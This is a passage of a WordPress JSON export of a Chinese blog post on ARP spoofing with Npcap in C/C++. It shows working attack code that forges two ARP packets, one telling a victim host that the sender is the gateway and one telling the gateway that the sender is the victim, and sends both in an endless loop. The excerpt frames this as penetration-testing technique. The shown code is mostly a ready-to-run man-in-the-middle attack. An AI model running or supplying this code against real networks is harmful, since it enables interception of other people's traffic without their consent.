\thandle =<\/span> OpenPcap(<\/span>3<\/span>);<\/span>

\t\/\/ \u586b\u5145\u6570\u636e\u5305<\/span>
\tARP_PACKET ARPPacket_A =<\/span> {<\/span> 0<\/span> };<\/span> \/\/arp\u5305 \u6b3a\u9a97\u76ee\u6807<\/span>
\tARP_PACKET ARPPacket_B =<\/span> {<\/span> 0<\/span> };<\/span> \/\/arp\u5305 \u6b3a\u9a97\u7f51\u5173<\/span>


\t\/\/\u6b3a\u9a97\u53d7\u5bb3\u8005\uff0c\u6211\u662f\u7f51\u5173 (\u539fMAC\u5730\u5740\/\u539fIP\u5730\u5740 --> \u76ee\u6807MAC\u5730\u5740\/\u76ee\u6807IP\u5730\u5740)<\/span>
\tmakeArpPacket(<\/span>ARPPacket_A,<\/span> \"000000000000\"<\/span>,<\/span> \"192.168.1.1\"<\/span>,<\/span> \"c89cdcad3a39\"<\/span>,<\/span> \"192.168.1.10\"<\/span>);<\/span>
\t\/\/\u6b3a\u9a97\u7f51\u5173\uff0c\u6211\u662f\u53d7\u5bb3\u8005 (\u539fMAC\u5730\u5740\/\u539fIP\u5730\u5740 --> \u76ee\u6807MAC\u5730\u5740\/\u76ee\u6807IP\u5730\u5740)<\/span>
\tmakeArpPacket(<\/span>ARPPacket_B,<\/span> \"c89cdcad3a39\"<\/span>,<\/span> \"192.168.1.10\"<\/span>,<\/span> \"000000000000\"<\/span>,<\/span> \"192.168.1.1\"<\/span>);<\/span>

\twhile<\/span> (<\/span>true)<\/span>
\t{<\/span>
\t\t\/\/3.\u53d1\u9001\u6570\u636e\u5305<\/span>
\t\tsendArpPacket(<\/span>handle,<\/span> ARPPacket_A);<\/span>
\t\tsendArpPacket(<\/span>handle,<\/span> ARPPacket_B);<\/span>
\t\tprintf(<\/span>\"send OK ! n\"<\/span>);<\/span>
\t\tSleep(<\/span>3000<\/span>);<\/span>
\t}<\/span>
\t
\tpcap_close(<\/span>handle);<\/span>
\tsystem(<\/span>\"pause\"<\/span>);<\/span>
\treturn<\/span> 0<\/span>;<\/span>
}<\/span>
<\/span><\/code><\/pre>\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
cap\u5305cap\u5305 C\/C++ Npcap\u5305\u5b9e\u73b0ARP\u6b3a\u9a97npcap \u662fNmap\u81ea\u5e26\u7684\u4e00\u4e2a\u6570\u636e\u5305\u5904\u7406\u5de5\u5177\uff0cNmap\u5e95\u5c42\u5c31\u662f\u4f7f\u7528\u8fd9\u4e2a\u5305\u8fdb\u884c\u6536\u53d1\u5305\u7684\uff0c\u8be5\u5e93\uff0c\u662f\u53ef\u4ee5\u8fdb\u884c\u4e8c\u6b21\u5f00\u53d1\u7684\uff0c\u4e0d\u8fc7\u4f7f\u7528C\u8bed\u8a00\u5f00\u53d1\u8d39\u52b2\uff0c\u5728\u8fdb\u884c\u6e17\u900f\u4efb\u52a1\u65f6\uff0c\u8fd8\u662f\u4f7f\u7528Python\u6784\u5efa\u6570\u636e\u5305\u9ad8\u6548<\/p>\n","protected":false},"author":1,"featured_media":2866,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"topic":[],"class_list":["post-2865","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/2865","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/comments?post=2865"}],"version-history":[{"count":0,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/2865\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media\/2866"}],"wp:attachment":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media?parent=2865"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/categories?post=2865"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/tags?post=2865"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/topic?post=2865"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}